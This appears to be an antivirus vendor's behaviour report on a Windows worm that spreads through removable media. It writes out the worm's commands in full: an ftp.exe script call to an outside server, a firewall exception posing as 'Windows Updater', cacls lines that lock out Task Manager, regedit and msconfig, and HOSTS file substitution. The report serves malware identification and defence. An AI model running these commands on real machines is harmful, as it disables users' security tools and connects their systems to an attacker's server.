Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'System' = '<SYSTEM32>\svcsrss.exe'
Creates the following files on removable media:
- <Drive name for removable media>:\Autorun.inf
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\svcsrss.exe' = '<SYSTEM32>\svcsrss.exe:*:Enabled:Windows Updater'
Executes the following:
- '<SYSTEM32>\attrib.exe' +r +s +h "%HOMEPATH%\ConfiguraЗфes locais\Application Data\Microsoft\CD Burning\svcsrss.exe"
- '<SYSTEM32>\ping.exe' 127.0.0.1 -l 32500 -w 1 -n 1
- '<SYSTEM32>\ping.exe' 127.0.0.1 -l 32500 -w 1 -n 2
- '<SYSTEM32>\ftp.exe' -s:<SYSTEM32>\config\firmware.LOG ftp.xpg.com.br
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v System /t REG_SZ /d "<SYSTEM32>\svcsrss.exe" /f
- '<SYSTEM32>\attrib.exe' +r +s +h "%HOMEPATH%\ConfiguraЗфes locais\Application Data\Microsoft\CD Burning\Autorun.inf"
- '<SYSTEM32>\attrib.exe' -r -s -h E:\Autorun.inf
- '<SYSTEM32>\attrib.exe' +r +s +h E:\Autorun.inf
- '<SYSTEM32>\attrib.exe' +r +s +h E:\svcsrss.exe
- '<SYSTEM32>\attrib.exe' -r -s -h C:\Autorun.inf
- '<SYSTEM32>\attrib.exe' +r +s +h C:\Autorun.inf
- '<SYSTEM32>\attrib.exe' +r +s +h C:\svcsrss.exe
- '<SYSTEM32>\attrib.exe' +r +s +h <SYSTEM32>\svcsrss.exe
- '<SYSTEM32>\cacls.exe' <SYSTEM32>\dllcache\taskmgr.exe /e /d todos
- '<SYSTEM32>\cacls.exe' <SYSTEM32>\taskmgr.exe /e /d todos
- '%WINDIR%\explorer.exe' "<Current directory>"
- '<SYSTEM32>\taskkill.exe' /im * /fi "WINDOWTITLE eq svcsrss" /f /t
- '<SYSTEM32>\taskkill.exe' /im ninja.exe /f /t
- '<SYSTEM32>\cacls.exe' "<SYSTEM32>\regedit" /e /c /d Todos
- '<SYSTEM32>\ipconfig.exe'
- '<SYSTEM32>\cacls.exe' <DRIVERS>\etc\hosts /e /p Todos:f
- '<SYSTEM32>\cacls.exe' %WINDIR%\pchealth\helpctr\binaries\msconfig.exe /e /d todos
- '<SYSTEM32>\cacls.exe' <SYSTEM32>\dllcache\msconfig.exe /e /d todos
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v <SYSTEM32>\svcsrss.exe /t REG_SZ /d "<SYSTEM32>\svcsrss.exe:*:Enabled:Windows Updater" /f
Modifies file system :
Creates the following files:
- <SYSTEM32>\config\firmware.LOG
- C:\Autorun.inf
- <SYSTEM32>\config\CRNJEUFU.LOG
- %TEMP%\~1.bat
- <SYSTEM32>\regedit
Sets the 'hidden' attribute to the following files:
- <Drive name for removable media>:\Autorun.inf
- C:\Autorun.inf
- %TEMP%\~1.bat
Deletes the following files:
- %TEMP%\~1.bat
- <SYSTEM32>\config\firmware.LOG
- <SYSTEM32>\config\CRNJEUFU.LOG
Moves the following system files:
- from <DRIVERS>\etc\hosts to <DRIVERS>\etc\host1
Substitutes the HOSTS file.
Network activity:
Connects to:
- 'localhost':1040
- 'ft#.#pg.com.br':21
UDP:
- DNS ASK ft#.#pg.com.br
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: '(null)' WindowName: '(null)'
- ClassName: '' WindowName: '(null)'
